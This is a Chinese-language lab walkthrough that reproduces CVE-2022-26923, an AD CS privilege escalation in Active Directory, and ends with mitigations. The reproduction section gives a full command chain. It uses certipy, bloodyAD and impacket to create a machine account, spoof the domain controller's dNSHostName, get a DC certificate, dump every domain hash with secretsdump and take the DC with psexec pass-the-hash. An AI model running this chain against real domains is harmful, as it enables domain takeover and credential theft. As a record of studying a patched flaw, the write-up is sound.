0x00 前言

2022 年 5 月 10 日，微软发布补丁修复了一个 Active Directory 域权限提升漏洞CVE-2022–26923。在5月份和6月份左右的复现文章中，有一个重要的工具：certipy。在当时是版本3.0，但是现在此工具3.0已经被作者删除了，只有2.0和4.0版本，于是复现漏洞时会和之前有一些出入坑点，在这里总结一下。文章篇幅较长。

0x01 漏洞概述

此漏洞允许低权限用户在安装了 Active Directory 证书服务(AD CS)服务器角色的默认 Active Directory 环境中将权限提升到域管理员。

该漏洞是由于对用户属性的不正确获取，允许低权限用户在安装了Active Directory证书服务（AD CS）服务器角色的Active Directory环境中将权限提升至域管理员。这一漏洞最早由安全研究员Oliver Lyak在2021年12 月14 日通过 Zero Day Initiative 向微软报告，Microsoft 在 2022 年 5 月的安全更新中对其进行了修补。

0x02 漏洞范围

影响范围很广泛

Windows 8.1
Windows 10 Version 1607, 1809,1909, 2004, 20H2, 21H1, 21H2
Windows 11
Windows Server 2008，2012，2016，2019，2022

0x03 环境搭建

实验机器：windows server 2012(DC)、kali2021(ATTACK)、windows10(域成员)

基础域环境搭建

1、更改静态ip和机器名称重启计算机

2、安装域服务，除了截图部分，其他都是默认下一步。

3、提升为域控

4、添加新林，随便写一个，输入完域还原密码后一路默认按下去会自动重启。

5、重启后登录账号即可。

ADCS证书安装

服务器管理器–>添加角色和功能向导–>勾选服务器角色–>Active Directory 证书服务

2、随后配置ADCS服务

3、勾选这两个，随后一路默认

4、配置成功

创建低权限AD用户

kali配置工具

所需两个重要工具：certipy & bloodyAD

配置certipy

此工具在6月还是3.0，现在只有4.0了

https://github.com/ly4k/Certipy
git clone https://github.com/ly4k/Certipy.git
cd Certipy
proxychains python3 setup.py install #配置代理安装

配置bloodyAD

https://github.com/CravateRouge/bloodyAD
git clone https://github.com/CravateRouge/bloodyAD.git
cd bloodyAD
proxychains pip3 install -r requirements.txt

0x04 漏洞分析

Active Directory 证书服务（ADCS）简介

对于此漏洞，可以将ADCS仅视为身份证明，类似于Kerberos 票证。如果不想深入了解可以这么理解然后直接跳过哈。

AD CS 是一个服务器角色，用作 Microsoft 的公钥基础结构 PKI 实施。正如预期的那样，它与 Active Directory 紧密集成并支持颁发证书，这些证书是 X.509 格式的数字签名电子文档，可用于加密、消息签名和/或身份验证。

我们都知道，在域环境下，存在着用户User和计算机Machine两个组。

同时，AD CS对User和Machine有这两种不一样的模板，即域用户可以注册User证书模板，域计算机可以注册Machine证书模板。两个证书模板都允许客户端身份验证。

User & Machine两者区别与特点

1、用户帐户具有用户主体名称 (UPN)，而计算机帐户则没有。当我们根据User模板请求证书时，用户帐户的 UPN 将嵌入到证书中以进行识别。当我们使用证书进行身份验证时，KDC 会尝试将 UPN 从证书映射到用户。(用户模板信息命令：certutil -v -dstemplate user找出对应的flag值与MS文档对照一下即可。)

2、根据MS-ADTS（3.1.1.5.1.3） 唯一性约束，UPN必须是唯一的，不能有两个具有相同UPN的用户。

3、计算机账户是根据什么进行验证的？下图为计算机账户证书模板，是根据这个字段进行验证的。

4、根据MS-ADTS（3.1.1.5.1.3） 唯一性约束，它没有提到计算机帐户的dNSHostName属性必须是唯一的。看到这里估计就有童鞋明白了，如果我伪造一个计算机账户的dNSHostName属性的值为域控的值，是不是就相当于域控了？事实证明这就是漏洞关键点。

5、本质上，用户可以根据预定义的证书模板请求证书。这些模板指定最终证书的设置，例如它是否可以用于客户端身份验证、必须定义哪些属性、允许谁注册等等。

举例说明如何在 AD 中使用证书进行身份验证

1、使用Certipy请求证书并进行身份验证。环境搭建的时候我们创建了一个默认的低权限用户test/456.com。根据模板向 CA 请求证书User。然后，我们使用颁发的证书john.pfx对 KDC 进行身份验证。使用证书进行身份验证时，Certipy 将尝试请求 Kerberos TGT 并检索帐户的 NT 哈希。

certipy req -username test@jntm.ngm -password 456.com -ca jntm-DC2012-CA -target jntm.ngm -template User
certipy auth -pfx test.pfx -debug

2、问题总结：

• 如果存在下图问题，说明本地时间和DC时间不同步，重启一下机器。

• 如果出现KDC无效，说明域控的ADCS服务没有起来，重启一下域控机器或者手动重启即可。

• 如果出现保存私钥，也是重启一下。

实验一：验证UPN的唯一性

我又新建了一个账户为hello/567.com，使用test/456.com登录这个域环境，更改UPN出现了一个**约束性错误(constraint violation)**。看来UPN确实是唯一的。

实验二：计算机账户根据DNSname进行CA验证

之前提到，计算机账户没有UPN，根据模板看是根据DNShostname进行验证。我们尝试创建一个新的机器帐户，请求一个证书，然后使用证书进行身份验证。

1、创建一个新的机器账户，由于bloodyAD.py创建的计算机账户没有DNShostname，我们使用impacket套装中的addcomputer.py来创建

impacket-addcomputer 'jntm.ngm/test:456.com' -method LDAPS -computer-name 'catest' -computer-pass '999.com'

再次使用ADexplorer.exe来查看，存在DNShostname这个字段

2、使用certipy请求证书，并且使用证书进行身份验证。

3、证书是用 DNS 主机名颁发的catest.jntm.ngm，如果我们查看计算机帐户catest$，我们可以注意到这个值是在dNSHostName属性中定义的。

4、如果尝试更改dnsHostName，我们不会遇到任何问题或违反约束，并且这个申请catest的计算机帐户名仍然是catetst$。

5、再次申请证书的时候，会不会改变呢？如果再次申请证书后，生成的是dddddddd.pfx，那么就说明CA确实是根据dnshostname进行的验证。这就证明了，计算机账户是根据dnshostname使用证书进行身份验证的。

0x05 漏洞复现--2012

通过上面的两个小实验，可以大概了解到了漏洞的关键点在于：计算机账户是根据dnshostname进行证书身份验证的，同时没有设置唯一性，通过伪造和具有写入dnshostname权限来写入域控权限的dnshostname伪造域控计算机账户，从而转储TGT与域控hash。

攻击机配置hosts文件

1、漏洞探测与盲打：假设我们通过某种漏洞拿下了一台域成员机器，并且获取到了这台域成员机器的明文密码，还有通过命令查看到了相关CA等信息，我这里省事，没有做域成员机器，直接在域控上看的。

certutil -config - -ping
PS: Get-ChildItem Cert:\LocalMachine\Root\

2、配置hosts如图，分别为域控ip、域控机器名.域名、域名-域控机器名-CA、域名、域控机器名

测试证书生成与验证证书有效性

这个前面提到了，这里就直接省略。

创建机器账户到域

1、使用bloodyAD查看ms-DS-MachineAccountQuota属性，如果ms-DS-MachineAccountQuota>0就可以创建机器帐户。

python3 bloodyAD.py -d 'jntm.ngm' -u 'test' -p '456.com' --host '192.168.111.11' getObjectAttributes 'DC=jntm,DC=ngm' ms-DS-MachineAccountQuota

2、在LDAP中创建一个机器帐户

python3 bloodyAD.py -d 'jntm.ngm' -u 'test' -p '456.com' --host '192.168.111.11' addComputer testPC '789.com*' 

更新机器帐户的DNS Host Name

python3 bloodyAD.py -d 'jntm.ngm' -u 'test' -p '456.com' --host '192.168.111.11' setAttribute 'CN=testPC,CN=Computers,DC=jntm,DC=ngm' DNSHOSTName '["DC2012.jntm.ngm"]'

发现遇到了错误，我们使用ADexplorer.exe来连接域AD查看一下，ip输入域控ip，账号随意填写一个用户和密码即可。可以看到这里并没有dNSHostName这个属性。

尝试添加一个，显示**约束性冲突(constraint violation)**。

我们回到域控环境下，查看这个计算机账户的安全信息，可以看到是test用户创建并且DNS写入权限是空的，也就是说无法写入DNS值

我们将其勾选上，就能看到，再次执行之前修改DNS名称的命令并且查看属性，更改成功。

python3 bloodyAD.py -d 'yiyuan.ho' -u 'zhangsan' -p '123.com' --host '172.16.25.30' getObjectAttributes 'CN=zhangsanPC,CN=Computers,DC=yiyuan,DC=ho' DNSHostName

使用伪造的计算机账户生成DC的CA

使用此计算机账户进行证书申请，因为对于计算机账户，CA是看它的DNSname的值进行验证的，如果这个值就是域控的DNSname，那么CA就会认为这是域控，从而给它对应的域控权限，也就是拿到了域控的TGT。使用certipy进行申请CA，注意-username属性后跟的是计算机账户，也就是要加上$符号，并且在linux系统下需要转义；同时我们这里用到的是计算机账户模板(Machine)，不再是(User)了。

certipy req -username testPC\[email protected].ngm -password 963.com -ca jntm-DC2012-CA -target jntm.ngm -template Machine -debug
certipy auth -pfx dc2012.pfx -debug

获取所有域中所有hash

impacket-secretsdump 'jntm.ngm/[email protected]' -hashes :e339879db7dd5394da0d414ffdd1bbfe

PTH获取域控

impacket-psexec -hashes :afffeba176210fad4628f0524bfe1942 jntm/[email protected]

0x06 漏洞复现--2016

可以看到windows2016使用bloodyAD新建的计算机账户，默认就是具有DNS写入权限的。之前的windows2012不知道为什么没有。

0x07 漏洞修复

1、根据我们的复现，大概的一个防御认知就是我们需要限制证书的注册，例如将MS-DS-Machine-Account-Quota的值改为0，这个值的含义是：允许用户在域中创建的计算机账户的数量。默认情况下这个值为10，刚才复现过程看到了。但是注意，这个并不能防御漏洞，因为攻击者虽然不能创建机器账户，但是可以破坏整个域。例如使用krbrelay这款工具：https://github.com/cube0x0/KrbRelay

2、安装微软官方发布的补丁。https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26923

3、不要安装ADCS服务就行了，这个漏洞只在有ADCS的域环境中才有利用的可能，不过这个方法过于激进。。

0x08 References

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26923

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/1192823c-d839-4bc3-9b6b-fa8c53507ae1

https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4

https://cloud.tencent.com/developer/article/2019209

MS-ADTS 3.1.1.5.1.3 唯一性约束：

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/3c154285-454c-4353-9a99-fb586e806944

文章来源：HACK技术沉淀营

如侵权请私聊我们删文

多一个点在看多一条小鱼干